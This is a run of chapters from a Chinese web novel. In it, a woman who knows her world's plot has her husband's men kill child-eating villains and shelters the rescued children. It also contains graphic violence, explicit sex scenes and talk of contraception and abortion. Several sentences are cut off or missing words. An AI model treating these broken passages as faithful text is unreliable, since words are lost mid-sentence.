萧欻跟他说的荆州势力,她也就记得个季家。
听出宓瑶要管,濮青直言道:“那人不姓季,但和季家的确有关系,是季家家主二女儿的夫君,全名叫唐荣焕,是楚王小儿子,说是身体不好,所以跟妻子到荆州养病。”
“荆州是养病的地方?”
哪怕她刻意回避乱世,也知道荆州许多地方受灾比剑南还要厉害,特别是季家的地盘。
唐荣焕就是来养病,也是来养癫病,知道荆州够乱,专程来玩他的养蛊游戏。
“夫人,只是救曹铁牛不难,但若是要唐荣焕性命却是不容易。”
濮青提醒道,唐荣焕身边有楚王给的精锐,加上还有季家护卫,不像是上一个被他煮了人魔,说弄死就弄死。
秋氏为曹小花找的买家,是一个小官的小舅子。
查清他真有食人的癖好,濮青一行人救了他锁在屋中还没下肚的两个孩子,按着宓瑶的命令直接把人扔进了滚水锅里,之后又一把火烧了那人的住宅。
连带给那人当庇护的小官也没讨到好,晚上走夜路摔了进了沟里,直接摔断了脖子。
濮青事情办的隐秘,等到旁人发现两人身死,再看到烧焦宅院挖出的一片骸骨,也只是呸了声罪有应得。
哪怕有人有所猜测,也不会去为他们调查是谁要了他们的命。
听出濮青不同之前的为难,宓瑶问道:“唐荣焕厉害,还是你家镇使厉害?”
“自然是镇使,唐荣焕连给镇使提鞋都不配!”
一拿萧欻作比较,濮青就像是打了鸡血,梗着脖子为自个主子摇旗呐喊,“唐荣焕就是个靠爹靠女人的废物,做的事也丧尽天良,镇使跟他相比,镇使在天,他只能算是地上的泥土,镇使看到他这块污泥,连下脚都不屑。”
“既然如此,我有你家镇使做靠山,犹豫?”
濮青一噎:“镇地,但都是为了保护夫人们的安全,若是夫人看不顺眼唐荣焕,等到*镇使事了了,属下
“萧欻走时跟我炫耀这里是他的地盘,洪家人归顺了他,既然如此不需要那么多精锐守着我们,看不顺眼的人,今日不杀我今日就睡不着,明日不杀我明日也难眠,这般拖下去,等你家镇使回来,那只能见到鬼了。”
濮青被宓瑶说的冷汗直流。
作为萧欻的长随,他是最能看出萧欻的变化。
如濡以沫,要白头到老的夫人,不再是从江南送来的虞女,若是宓瑶有什么事,他们这
“你放心,我不是会为了管旁人闲事,把自己安危不当一回事的人,你把赵德叫来,我看他每日皱着眉窜来窜去,明显是闲到累了,我们先坐下来商量,看你们能不能去把我看不顺眼的人给趁早弄死,若是实在不行,我再忍忍也不是不行。”
赵德和濮青不一样。
赵德是赵天赫赐姓的家臣,身上的官职都是跟着萧欻上战场拼出来的。
濮青守在他们一家子身边不觉得烦闷,但对于赵德来说,明知道上官与同僚都在厮杀,而他闲在这处,只会越闲越躁。
赵德到了宓瑶面前,果真也如她所想,赵德早就待不住了。
“夫人别担心,一个纨绔子弟,不用带人,我单枪匹马夜袭把他刺杀了就是。”
宓瑶不听他吹牛,还是把人聚在了一起,给了赵德足够多的人马才放人离开。
“要记得你们首要的任务是保护我,所以到了地方,若是唐荣焕难杀,你们直接回来就是,你们要是出事,我更寝食难安。”
听到宓瑶的交代,赵德连连应是。
晓得夫人心软,不止看不得无辜孩童受罪,也不愿意他们这些属下出事。
“夫人放心,只是此行要是顺利,那些孩子该如何处置?是带回来还是一把火烧了?”
赵德顿了顿,怕宓瑶觉得他残忍,解释道,“碰过人肉的崽子已经与常人不同,夫人好心把他们留在身边恐怕会留出祸患。”
所以相比把人带回来,不如就地解决。
“能带还是带回来吧,我空出几间屋子管理他们,能好的就好,不能的……总不能让他们去祸害其他人。”
这件事她能逃避不管,就像濮青所说既然是为了救曹小花的兄长找人,那就只救她兄长,其他人当做不知晓即可。
但要是这样,她觉得她后半生都要在噩梦中度过。
而无法心硬,那就不能是一时善心,她得想清楚如何管理这些人,而不是把更多人魔放出来。
听到濮青提起斗兽场,她就隐约觉得熟悉。
她在看书的时候,那个食人的霸主就在自己的地盘弄了很多这样的斗兽场,其中青年小孩老人都有。
他会那么做的原因,就是因为他这样被养成的蛊。
判断了时间线,再想秋娘和曹小花,她感觉未来那个食人霸主,很可能就是曹小花的哥哥。
剧情里有写过有一对姐妹求那人饶过她们,那人和颜悦色地说她们与他妹妹死时差不多大。
在姐妹俩觉得自个要得救了的时候,他又说他若是饶了她们,当年又有谁饶了他妹妹。
想到这个宓瑶的头就隐隐疼了起来。
救人不容易,救完人的善后更不容易,若是曹小花的兄长真是书中那个食人霸主,她要如何处理?
现在就把人杀了,把危险扼杀在摇篮中?
第73章 第七十三章【VIP】
等到萧欻时隔几月再回宅院时,险些怀疑自己记忆出了问题,记错了他逍遥了半个月的地方。
院中有孩子看到了他吓得一动不敢动,但更多的孩子根本没注意到他,笑声闹声此起彼伏。
萧欻站在门槛外面,回头看了眼门前的槐树。
只是他这一眼也看不出什么,毕竟之前半个月里他大多时问都是跟宓瑶在房里,哪里记得宅门口的树是槐树还是柳树。
宅子记不清楚,但人他还是认的。
“哪来的那么多孩子?”
萧欻朝守门的侍卫问道。
“镇使,这些都是夫人救下的孩子,夫人真是菩萨心肠。”
“她救的?”
萧欻怀疑属下口中的夫人跟宓瑶没什么关系,他晓得她,小善是有,但让她委屈自己吃睡不好的挥洒善心,她还没那么菩萨。
这院子里少说有二三十个孩子在跑来窜去,屋子里他听动静,人应该也不少。
“她人呢?”
“夫人前些日子换了个住处,和舅夫人他们一起住了到街头的院子里。”
听到她把地方让出来人跑了,萧欻这才有了他夫人还是他夫人的安心感。
“萧大哥,嫂子应该很喜欢孩子吧?不过那么多孩子,真是让人吓了一跳。”
下了马车的苗雪灵一直在观察萧欻的神色,见他看到那么多孩子,连门槛都不愿意踏进去,无辜地朝他笑了笑。
萧欻瞟了她一眼,她不出声他都忘了还要安置她:“这处还有没有空房?”
“有的,有空房问,若是嫌吵,可以去隔壁我的院子,那里只有几个小丫头陪着我住。”
房里的孩子睡觉被梦骇醒,萧柔过去哄孩子,刚哄好久听到下人说萧欻回来了,她匆匆忙忙赶过来,接上了萧欻的话,说完后,她对上萧欻冷漠的神色,努力地笑了笑:“平安回来就好,这些日子弟妹都在想着你,善儿他们也是,昨日良儿还在问你何时回来,说你走得太久了。”
“这是大姐吧?”
苗雪灵打听过萧欻家中的状况,知道他无父无母,除却收了亲哥的一儿一女外,还有一个嫁了人的阿姐。
虽然萧柔模样看着要比萧欻大许多,长相上是有几分相似,苗雪灵边问边挽上了萧柔的胳膊,“辛苦大姐为我着想,若是不嫌弃的话,我能跟大姐同住,跟大姐作伴吗?”
“你是?”
住处分给别人住她没意见,本来她住的地方就是萧欻给的。
但那么个漂亮的小娘子,跟在弟弟身边,又对她一副亲近讨好的模样,她不觉紧张了起来。
要是以往她是不好意思当面问的,但齐娘日日在她跟前念叨,要跟着宓瑶才能过上好日子,所以哪怕担心萧欻觉得她多事,她也不敢含糊过去。
问完,萧柔就把自个的胳膊抽了出来,并且往旁边退了半步摆明自己的立场。
苗雪灵面上还是在笑,但心中却升起了怒气,她没嫌弃萧柔看着就像是伺候人的奴仆,一身奶腥味,萧柔竟然还敢嫌弃她起来。
“萧大哥是我的救命恩人,若是不是萧大哥救我,我怕是命都要没了。”
苗雪灵崇拜地看着萧欻,“我从来没见过萧大哥那么伟岸的郎君,他就是世问上最厉害的大英雄。”
“噗。”
萧欻比苗雪灵高许多,察觉萧欻视线往她头顶瞟的时候,她还以为萧欻是不好意思看她,听到身后传来笑声,她回头一看愣了愣。
“来接我?”
萧欻从头到尾把宓瑶看了一遍,见她没瘦没胖,还如往常,脸上也多了几分笑意,“萧善他们呢?怎么没缠着你?”
“这是嫂嫂吧,嫂嫂真美,我第一次见到像是嫂嫂这般貌美的女子,萧大哥真有福气。”
宓瑶还没回话就被苗雪灵打断,宓瑶抽手比萧柔抽的还快,怕苗雪灵沾着她身,往后连退了两步。
明显的嫌弃让苗雪灵委屈地看向了萧欻。
“嫂嫂是嫌我命不好,坏了嫂嫂的运气吗?”
听到苗雪灵还有命不好这回事,宓瑶又退了一步。
察觉到她的动静,苗雪灵面上更委屈了,她没想到宓瑶比传闻中还不会做人。
她打听了萧欻,自然也打听了萧欻的夫人。
看到她派人查到的消息,她真不明白萧欻为什么会娶宓瑶这个正妻,宓瑶除却貌美没有任何的优势,什么场合都能与人争吵。
哪怕她运气好,运,没有好下场,但她的脾气那么上不了台面,等到萧欻接任剑南节度使,宓瑶
见查探的她漂亮,她今日见她特意违心夸了她。
谁道,难不成嫉妒她面容鲜嫩,提防起了她?
苗雪灵还在这里思索,萧欻已经大步走向了宓瑶,走近又打量了她一圈,看够了才把视线落在她脸上,紧紧地盯着她,像是要把这几个月没看的看够瘾。
大约是见了几个月的血,萧欻褐色的淡眸萦绕着兽性的猩红。
若只就算了,因为救了曹丫头兄长,见识过其他兽性重的眼眸,威慑性,还有带着野兽般的欲/望,他的眼神就像是要把她
想到之前半个月不能出门,宓瑶抖了抖身上的寒毛。
她还以为之前那一次他亢奋过度,所以在她身上找一个发泄口,等到缓一阵子,理智就会回来,怎么现在看着他还是那么上头?
“怎么弄了那么多孩子养在家中?是因为我与你说我不喜欢孩子,你故意弄来气我?”
话的内容尖锐,但萧欻的语调很轻松,嘴角扬起的笑也不像是冷笑。
苗雪灵听到萧欻的话,本以为有自己的机会,但触到他的神情,她就忍不住咬了咬唇。
她很满意萧欻,从长相到前程,唯一不满意的就是他的性子。
这些日子她不是没见他笑过,而他只要扯起嘴角,就是冷漠嗜血的笑容,代表着有人要死了。
像这般松弛的神色,这几日他从未对她展露过。
“若为了气你我付出也太大,宅子都让出来了。”
宓瑶没好气地说道,说完看向他脖颈上那条让人忽视不了的伤疤,轻声道,“辛苦了。”
虽然伤疤已经结痂,变成一条红痕,从大小看得出,当时受伤时一定是皮开肉绽。
她总觉得萧欻是男主会活到最后,但这些日子看了太多的生死,她没办法把萧欻的上战场当做轻松的打游戏杀BOSS。
不需要特意派人打听,这几个月百姓嘴里讨论的都是哪里打起来了,谁谁谁又死了。
先是益州内乱,赵家旁支联合荆州的季家夺权,还未平定下来,翼州又乱了起来。
赵天赫的两个养子勾结吐蕃,趁机侵占土地城池。
至于萧欻的行踪,开始说是他已经被赵家人暗杀,后面又说他背叛了赵天赫,与养子合谋为吐蕃效力。
直到几日前市面上的消息才变了一番,说他大胜吐蕃军队,拧断了背叛剑南的两个养兄,拎着两人的头颅挂在脖子上示众,
想到传闻宓瑶在萧欻的肩头比划了下:“你养兄的头你是怎么挂的?你一边挂一个,不是一侧头就要亲他们头发一下。”
“这你也信?”
市井传闻萧欻不是没听过,什么他喜欢把人头挂在做成项圈挂在脖子上,还有他每次杀完人掰开死人头颅生吃脑花。
“为何不信?外头传的有鼻子有眼,你是如何手持两把板斧,生撕了你的养兄。”
“既然双手都拿着板斧,为何还要生撕?”
知道宓瑶调侃起来就没个完,再加上他有许多不想让人听见的话要与她讲,萧欻边说边捏着她的手腕往街口宅子走:“你特意跟我提这事,是觉着被我挂在脖子上别致?若是如此我不挂他们,挂你如何?”
“所以你只想亲我头发?”
这句话宓瑶放低了声响,只有两人能听见,萧欻闻言眯了眯眼,凑近宓瑶,只是他还没开口就被一道带着哭腔的女声打断。
“萧大哥你不管我了吗?你是不是嫌弃我麻烦了?若是这样我还不如跟我娘一同死了算了,这般在黄泉路上我跟她还能有个伴……”
苗雪灵说着就捂着脸哭了起来。
“这是你在战场捡的?”
听到苗雪灵的哭声,晓得这位不是无视就会老实的女人,宓瑶朝萧欻问道。
他倒是蛮有出息,以前是捡了萧翼这个孩子,这次晓得捡女人了。
听到侍卫禀报萧欻回来,她想着萧欻奔波了几个月,赚功勋让她过好日子,没怎么犹豫就从榻上爬起来见他。
因为来的早,所以她听到了萧柔问苗雪灵是谁,而苗雪灵答非所问,说了一通夸萧欻的话。
而且那些话还似曾相识。
瞧着苗雪灵梨花带雨,哭的精心刻意的模样,宓瑶眨了眨眼,因为萧欻每次给她的反应都不错,之前她没觉得她的招数浅,现在遇到同道之人,她就觉着她这绿茶功力好像不大行。
“她爹是父君旧识,父君晓得我来接你,托我送人。”
萧欻顿了顿,怕自己说的不够清楚,“没说过几句话,她娘死在她面前,她哭的也没这会可怜。”
怀疑自个是听错了,苗雪灵脸上挂着泪,僵硬地看向萧欻:“萧大哥,你刚刚说了什么?”
她愿意再听一次难听话,但萧欻却懒得再说了,确定宓瑶听到,就朝守门的侍卫吩咐:“给她准备一个住的地方,别让她乱跑。”
“萧大哥,我想同你与嫂嫂住在一所宅子里?”
见萧欻说完就要跟宓瑶离开,苗雪灵也不管刚刚听到了什么,抽泣着追上去,“萧大哥,赵伯伯不是托你照顾好我?若是你不在我身边,我会害怕。”
听到苗雪灵一边摆出柔弱无依的可怜模样,一边暗戳戳地威胁,宓瑶挑眉看向萧欻,就听到他冷声道:“那就怕吧。”
第74章 第七十四章【VIP】
“萧……大哥?”
因为萧欻的话,苗雪灵脸上的哭都停滞了一瞬,不解地看向萧欻。
这一路上萧欻虽然不理会她的示好,但也没有像现在这般不给她面子,她都抬出了赵天赫,他竟然还能让她在所有人面前丢人。
“是不是嫂嫂不喜欢我?嫂嫂不必觉得我有威胁,我只是个没了娘的可怜人,不会让嫂嫂和萧大哥为难。”
见苗雪灵说不通萧欻,就把枪口对向了她,宓瑶表情比她无辜:“这位见着我跟我夫君感情好,哭的比亲娘死了还难过的小娘子,我没觉得你威胁,我夫君都这般说你了,我若是还觉得你有威胁,那我也太闲了一点。”
论起嘴毒,宓瑶上阵,萧欻都得靠边站。
说完,看苗雪灵憋不出其他话,宓瑶走在了萧欻前面,先一步踏进了宅子。
“方才说不闲,那你现在是在跟谁置气?”
萧欻跟上了宓瑶,见她双目直视前方,一味的往房间跑,萧欻伸手挡住了她关闭门扉的动作。
“我这不是置气,我这是最近太忙,找不到人撒气,你正好撞上来。”
“虞宓瑶,几个月不见胆量渐长,这般话你也敢对我说?”
萧欻踏入屋内,因为习惯了萧善他们在重要时候的撞门,顺道把门给拴住了。
宓瑶看到萧欻的动作啧了声:“若是想让我对你害怕些,你就做些让我害怕的事情,别一回来就大白天把门锁上。”
回应宓瑶的是萧欻猛然的扑抱,他把她扑倒在了榻上,用脖颈上伤疤去磨蹭她柔软的脸蛋,见她挣扎躲避,他翘起唇瓣:“这会怕了吧。”
伤药苦涩的气味在鼻尖萦绕,宓瑶是真怕了,不是怕碰触她皮肤的狰狞伤口,而是怕萧欻没有轻重把他看起来没愈合多久的伤口撕破,让他脖子破个大洞,血往她身上喷。
“怕了怕了。”
宓瑶话落音,萧欻蹭的位置就换了一个,口中说着怕了就好,手上则是在脱她的衣裳。
拒绝的话被萧欻嘴对嘴的堵住,宓瑶碰触他精壮的背脊,发现他身上多出的伤口,不止脖颈上一个。
甚至有些伤还在愈合阶段,她手指碰触,他嘴上不说什么,但身体却在发颤,明显是在忍疼。
“就这般你还要白日宣淫?”
她的惊讶没让萧欻见好就收,反而让身下的床榻被撞击过度,发出了咯吱咯吱的声响。
宓瑶本来不想欺负病患,但她要是不欺负他,她自个就要被他欺负死了。
所以她颤抖着手去按他的伤口。
谁知道刚刚还会疼的发颤的人,这会伤口被扣挖反而来了精神,越来越猛,宓瑶觉得自个都要被他撞得四分五裂,他才终于发泄,停下来趴在她胸口平静亢奋的情绪:“你可真狠。”
萧欻说话带着低喘。
他这个体力好的都在喘息,宓瑶哪还能好。
她嘴巴早就喘的闭不上了,这会想说话,喉咙干的根本挤不出声音。
感觉萧欻缓着缓着又不老实动了起来,宓瑶给了他肩上一巴掌:“差不多就成了,你来见我就是为了这个?”
“不若还能有什么?”
话是这般说,萧欻还是停了,走到桌前,倒了杯温水,扶着宓瑶喂了下去。
见水流从她嘴边溢出,他张嘴含住了下落的水珠:“我也渴了。”
人渴了那是一滴水能解渴的,所以他舔舐完了宓瑶的嘴角,又抬手喂她喝水,反复了几次,见宓瑶殷红的舌尖抵住杯沿,他扔了杯盏,手指夹住她来不及收回的舌头。
想到他的手指刚才进出过哪里,宓瑶嫌弃地挣扎,脸上的肉都挤做了一团。
只是她挣扎也没用,萧欻依然不讲究,他不止手指碰触她的舌头,还俯身凑近去亲吻她的舌侧。
宓瑶第一次发现她的舌头也有敏感带,唇瓣的若即若离,让她从脚尖麻到了后脑勺,化作一滩水软在了萧欻的怀里。
把宓瑶嘴里溢出的水份索取个彻底,萧欻还是来了第二场。
并且依然狂风骤雨,床榻的咯吱声渐大,阻止萧欻第三场的正是因为床塌了。
“旁侧的厢房有没有人住?”
宓瑶坐在塌陷的床上一脸茫然,就听到萧欻低哑着嗓子询问,看他模样,若是她说隔壁要有空床,他就立刻把她抱起冲过去继续。
“是有床,小娘子继续,你去找她她能喜极而泣,你断。”
宓瑶磨牙,盯着萧欻脖颈,打算。
动,明显不害怕,反倒兴奋了起来。
不过他晓得见好就收,扯了外套将她裹起,把她抱到了方椅上坐下:“谁夸我英雄伟岸,不就只有你夸过。”
说到这个,气,就是发现哪怕是同样的绿茶手段,萧欻也是更吃她说的,对。
知晓萧欻满意的是她,而不是她撒娇卖嗲说的好听话,她可不得拿乔高高在上俯视他几眼。
谁知道才开了个头,她就被他压趴在了床上,哪怕他把她抱起,让她坐在他身上,因为是他在底下用力,被他兽性的眼眸紧紧盯着,她姿势占优势也俯视不起来。
“你敢这般说,就是吃定了我如今对你上心,不可能去找旁人。”
对于女人的示好,男人只会装傻,不会真傻。
他感觉得到苗雪灵有意讨好他,因为是为了完成父君的吩咐,他平日视若无睹,闹到了宓瑶面前,他为了让她高兴安心,哪怕有父君的一层关系,他依然言词锐利。
没想到宓瑶没但觉得感动,反倒生出拿捏他的心思。
他对她的想法一清二楚,但偏生对她生不起真的怒气,甚至鬼迷心窍,觉得她如此笃定他对她用心也好。
“孩子是怎么回事?你上次给我送信,只道不必担心你无事可做,你近日有不少看不顺眼的人,忙着派遣赵德为你清除碍眼的蠢人,等到往后世人提起我们夫妻俩,会给我们取个阴阳双煞的诨名。”
他那边最后得到宓瑶消息,是宓瑶派赵德把唐荣焕暗杀了。
原本以为她是想帮他铲除后患,但看看现在满院子的孩子,明显不是那么回事。
而那封信写得温柔娇媚,明显也是怕他不许她派遣他的人,故意对他的讨好。
“还能是怎么回事,自然是我想当菩萨了呗。”
知道有些事她不说,萧欻也会从濮青他们嘴里知晓,宓瑶干脆把事情从头到尾与他说了一遍。
“原本只是想杀唐荣焕一个,但一关注这事,就发现把人不当人的人魔不止一个,人越杀越多,救的孩子也越来越多。”
真把人救下,她就发现管理起来没她想的那么难。
那些碰过人肉的孩子目光的确与寻常人有了区别,这些人她交给了赵德,让他给他们安排住处,找夫子让他们学剑南军规,看能不能教回正常人。
至于曹小花的哥哥曹铁牛,对上了胎记后,她确定了曹铁牛就是未来那个反派。
知晓他被扔进兽场后杀过人,但要不是抓野物,就是吃草吃土果腹。
赵德说若不是他去得早,估计曹铁牛就找了机会跑了。
因为赵德的观察,再加上剧情里关于反派的只字片语,宓瑶大概能想到曹铁牛开始应该是逃跑成功,回到家后发现相依为命的妹妹已经成了旁人的盘中餐。
就主动又回了斗兽场,成了最厉害的蛊,而后得了机会取代唐荣焕上位,成了书中厉害的反派。
观察了曹铁牛几日,见他知晓萧柔把妹妹收为干女儿,对妹妹爱护有加,他没有妹妹被人抢走的不悦,反而有种无所适从的憨厚,宓瑶就没动杀他的心思,而是把他留了下来,让侍卫暗暗看着,若是在人群中他一直没流露出暴虐的倾向,就让他跟其他孩子一起留在宅子里。
“你一直看着我作甚?”
宓瑶思索着自己安排,想着萧欻既然过来,那她也该回益州了。
她要走自然要把这些孩子都一起带走,到时候在益州该如何安置他们,给他们一个住的地方不难,但是只管他们,还是建个慈幼局,从收养到教育就业行程链条,能帮多少人是多少。
她想的入神,回神就发现萧欻紧紧盯着她,她入神发呆他也没叫醒她。
回应宓瑶的是萧欻的铺天盖地的亲吻:“我的小菩萨,你别再好下去了,你若是太好,平日里你再欺负我,我都不好与你计较。”
他经历过颠沛流离,平日里表现的心再硬,也不可能不被善意触动。
宓瑶给他的感觉很奇怪,她怕麻烦喜享受,他一直觉得她有小善,却没想过她其实比他猜想的更加心软。
见她一边别扭一边忍不住对世人怜悯,他心中某块角落也亮了几分。
宓瑶被萧欻灼热的眼神看得不自在,觉得他应该是脑补了一些在她身上不存在的东西,但还没辩驳就感觉到牛子隔着外裳在发热。
床榻塌了也不影响第三场的继续。
宓瑶:……
所以说他扯那么多乱七八糟,什么小菩萨,搞得又深情又感动,纯粹是转移她注意力,放松她的戒备好再来一场。
第75章 第七十五章【VIP】
萧欻是特意绕路来接宓瑶,而一见着她,他就止不住回味之前两人没日没夜在房里的半个月。
一时间竟然想丢掉益州纷繁的政务,留在这处重温天地间只有两人的感觉。
宓瑶看出了他的意思,并且察觉因为他既不舍,又要赶着回益州,所以打算抓紧时间可劲折腾,恨不得让她人挂在他身上。
所以连哄带骂把他赶出了门。
见自己才踏出门槛,宓瑶就上了门栓,听动静还把椅子抵在了门口,怕他要再不缓缓,她就要颤抖着手脚去扛桌子堵门,为了给她省事,他依她的意分神去把这地的事收了个尾。
因为晓得自己的德性,两人同睡一床,他哪怕最开始不打算做什么,后头也止不住摸来摸去,最后发热发直。
所以等到晚上回来,他没去想办法撬宓瑶房门的几道内锁,而直接睡在了萧良房里。
萧良夜间起床撒尿,发现床上多了个人,掰着萧欻的脸看了半晌,觉得又熟悉又陌生:“你是水?”
小孩睡意朦胧,声音含糊不清,若不是萧欻躲得快,他嘴里的“水”还真要喷他一身。
“是你爹。”
萧欻冷声提醒。
“哦。”
萧良眯着眼睛,又捧着他的脸细细打量了一遍,确定他的长相与记忆中的爹没有出入,点了点头:“是爹。”
萧欻动了动脸,甩开了脸上的小手。
手被甩掉,萧良抱住了萧欻的腰重新躺下,奶声奶气道:“阿爹你回来了,我好想你。”
按着萧良平日里一句甜一句毒的习惯,萧欻等着他的下一句,片刻没听到动静,萧欻低眸看去,萧良已经重新闭上眼睡着。
睡着前萧良把踢开的被子盖在了他身上,自个却是只搁了个被角在肚子上。
白胖脸蛋紧紧地靠在他的身上,小短手抱不住他的腰,则抓住了他的衣摆。
他以前觉着他无法与人太过亲近,比如收养了萧善他们几个,他会拎起他们,却不会抱他们。
连带着知道夫妻夜间要做的事情,他也有过短暂的恶心。
可谁想到他现在会恨不得宓瑶长在他身上,对于孩子主动的亲近,他没有以前那般排斥,反而升起了几分愧疚。
一觉睡到天亮,萧欻早起晨练,等到几个时辰后萧良醒来,想起了晚上他跟萧欻睡了一床,吃饭时盯着萧欻看了半晌。
“怎么?”
萧欻想起昨晚他认不出他的模样,总不会还要再重演一遍,让他再次提醒他是他爹。
“阿爹,对不起,我晚上不该用摸过鸟鸟的手摸你的脸。”
萧良一脸愧疚,他想起了昨晚他起床撒尿,发现萧欻睡在他床上,也想起了他撒完尿没有净手就直接捧着萧欻的脸看他是谁,而且还捧了两次。
宓瑶进门正好听到了这句,不由面露嫌弃,视线都避开了萧欻的脸颊,怕脏了自个的眼睛。
萧欻:……
昨夜他究竟有何好愧疚的,萧良这个嘴巴他从未揍他,就已经是顶好的爹了。
回房后萧欻不管宓瑶的不情愿,捞着宓瑶的手在他脸上摩挲了半晌:“好了如今干净了,都是你味道。”
“呵。”
见他闹够了,宓瑶想抽手,但萧欻在她手心亲了一下才放开了对她的束缚。
“今日就走?你兄长已经快想疯了他的夫人孩子,你们若是再在这耽搁,他该要过来了。”
这话宓瑶不怀疑真假。
从他们离开益州,虞少阳的书信就一封接着一封,若不是身上官职,必须留在剑南做事,他恨不得同他们一起来荆州,守着甄婧生产。
而甄婧也想虞少阳想的紧,特别是半个月前诞下女儿后,更想一家团聚。
知道她愿意陪甄婧在这儿坐月子,甄婧也不愿意在这里再待,宓瑶点了点头:“知道你随时会来,我让人准备了不少马车,那些孩子我都要带到益州去。”
这个萧欻没意见。
“到时让濮青去买个庄子。”
“不用,我已经早早给霜华去信,让她寻摸合适的地方。”
她有周全的安排自然更好。
“若有需要我帮忙的,记着与我开口。”
宓瑶闻言,眨了眨眼:“郎君是把我记成了谁,若不是把我跟其他女子弄混了,怎么说得出这般的话,我是那种有外力不借用,喜欢埋头苦干默默吃苦的性子?”
面对她的反问,萧欻一个字都没听清,注意力就□上,见她停下嘴巴不动了,不由觉得可惜,。
虽然没听清,但她这个嘴倒是挺好亲的。
要不记着今天要上路,萧欻可真不想让嘴巴休息。
大运送,确保人都上了车,带足了行程的口粮,萧欻上了马。
见萧欻没往马车上挤,宓瑶松了口气,但这气没松多久一会,德,而他跳上了她的马车。
“怎么她还在?”
萧欻入了车内,见车窗紧闭,而宓瑶怀里抱了熟睡的婴儿,语调明显带着不耐。
“你若是嫌弃,可以去萧善他们那架马车。”
原本萧善他们也在她这辆马车上,见着宝宝睡着,怕吵着她就跑到了其他孩子的车上,跟他们一起玩游戏打发时间。
萧欻没走,而是在宓瑶的旁边坐下。
他知道甄婧已经生产,但这还是第一次见他侄女的模样。
裹在包袱里的婴儿脸小的像是还没他拳头大,眼眸闭着,时不时舔舔嘴巴,或是皱皱眉,也不知道是在做什么梦。
“有几分像你。”
萧欻端详了孩子圆润脸蛋上的五官,开口说道。
“我也觉着,兄长常说希望孩子生出来像我和嫂子,现在看来还真是像我和嫂子。”
宓瑶看着孩子忍不住一笑,这会虞少阳该满意了。
孩子像宓瑶萧欻愿意多看几眼,但听到宓瑶说孩子像她和旁人,哪怕那个旁人是个女子,萧欻眉心也折了折。
“你与我说你不喜欢孩子是真是假?”
那些收养的孩子,他没觉着什么,只觉得宓瑶是怜悯他们无处可去,但此刻宓瑶抱着婴儿,萧欻瞧着她的脸,觉得她面容泛着莹莹暖光,一点都不像是不喜欢孩子。
而瞧着她的模样,他不禁想象若是有个长得与她和他相似的孩子,似乎并不差。
“你若是想要孩子,那药我随时可停。只要停药后调理一二,不会影响到我们孕育子嗣。”
萧欻边说边看着宓瑶,然后就清楚的见着他说完,宓瑶脸上流露出惊悚的表情。
那模样比她第一次见他物件,喃喃自语说这世上不该有那么大的东西,表情还害怕得多。
第76章 第七十六章【VIP】
听到萧欻的话,宓瑶就晓得她对他的态度太好了。
好到让他误会了点什么。
满腔的难听实话想说,但看到怀里的婴儿,怕萧欻暴起伤到孩子,宓瑶往肚里咽了咽。
“郎君说要吃药,我原本是半信半疑,但因为怕早死,所以试着相信了郎君。”
宓瑶尽量让自己的态度平和,双目镇定地看着萧欻,“我之前都想好了,郎君要是骗我,我要如何在最不伤身体的情况下把孩子打掉。”
她觉得自己已经挤出了最好的态度,温柔地表达了她的态度,但从萧欻倏然变冷的神色看来,萧欻的承受能力还是差了点。
定定地盯了宓瑶半晌,萧欻掀帘离开,等到马车在夜宿的驿站停下,宓瑶才再次见着他。
“萧大哥,喝点凉汤去去暑气。”
萧欻一下马,苗雪灵就捧着瓷碗到了萧欻面前,“这般的天气骑马,萧大哥你真是太辛苦了。”
苗雪灵说着声音都带了哭腔,萧欻看着宓瑶疾步走入驿站,没有为任何人停留的背影,的确一肚子火气。
只是这火气喝凉茶无用,得对症下药。
而他的*那味药这会连背影都看不到了。
“热就拿去喝。”
萧欻朝后头的属下吩咐了一声,绕过了目光期待的苗雪灵。
“苗娘子客气了。”
赵德拿过了她手上的瓷碗一饮而尽,喝完把她身边下人捧着的大肚壶拿过,跟濮青他们把剩下的凉茶也瓜分干净。
“你们这些人,我家娘子的茶水又不是给你们喝的!”
见主子的心意被一群上不了台面的家奴糟蹋,苗雪灵的侍女怒斥道。
“听见没有你们别喝了,这是苗娘子递给我的茶水,分给你们她都不高兴了。”
赵德装佯生气,旋即哈哈大笑起来。
“是我们不对,怎么能跟赵统领抢夺苗娘子的心意。”
昨日萧欻不给苗雪灵面子的事已经传遍了,主子话都说那么难听,苗雪灵还要往前凑,他们自然要让苗雪灵知晓他们是站在哪边。
若是以往他们只是把宓瑶当做主子娶的一个美人,如今有了主子的喜爱,再加上这几个月的相处,他们已经把宓瑶视作女主子,苗雪灵想破坏主子们感情,简直就是欠骂。
感觉到几人对她的敌意,苗雪灵面上僵了僵,没想到宓瑶会在他们心中那么有威望。
让他们这些家奴也敢对她没脸。
“那女人脸皮还真是厚,方才听琇儿说她又去了妹夫面前,不知道与妹夫说个什么。”
甄婧喂完了孩子,一边哄着孩子入睡,一边朝宓瑶说道,“从昨日到今天,妹夫就没给过那个苗娘子好脸,那娘子的父亲跟节度使友人,隔着那么层关系,妹夫已经做得很好了,嫮嫮你别与妹夫置气。”
因为宓瑶与萧欻好时,恨不得这世间只有他们两人,萧欻那双眼睛就跟盯死在了宓瑶身上,基本上两人都是同时出现,距离不会相差半米。
所以两人一闹别扭就会十分明显。
两人不再挨在一起,萧欻又成了煞气十足的阎王。
甄婧以为宓瑶是因为苗雪灵跟萧欻置气,见宓瑶不回话,只是一味地伸着手指头让宝宝捏手,不由道:“若是喜欢孩子,你就与妹夫多生几个,上次善儿怎么说来着,她还能有五个兄弟姐妹。”
听到甄婧这里也在催生,宓瑶叹了口气。
“嫂子别说了,你要晓得老天爷不会什么好处都给同一个人,我的漂亮是用不能生育换的,若是嫂子以往再提,你提一次我就心碎一次,觉得我不配为女人。”
宓瑶说的苦涩,甄婧辨不清她是说笑还是说真的,愣了片刻想开口再问,就见宓瑶食指抵住了唇。
“嫂子若是我亲嫂子就别问了,我难受。”
她这样甄婧哪敢再问,演了几句戏就能换来安宁,宓瑶只后悔没早演了。
只是她没想到安宁了没几日,回到益州,她又开始迎来了新一轮的催生。
这次催生的是她老子,而且怕光是口头催生无用,还给她带来了姐姐妹妹,用行动告诉她,她不愿意多的是有人愿意生。
快到益州时,宓瑶就先一步收到了虞成达携儿带女到了益州,说是看望她与虞少阳,但看他带着的人却不像那么回事。
“爹这次过来,还有李氏所出的十四娘和十二郎。”
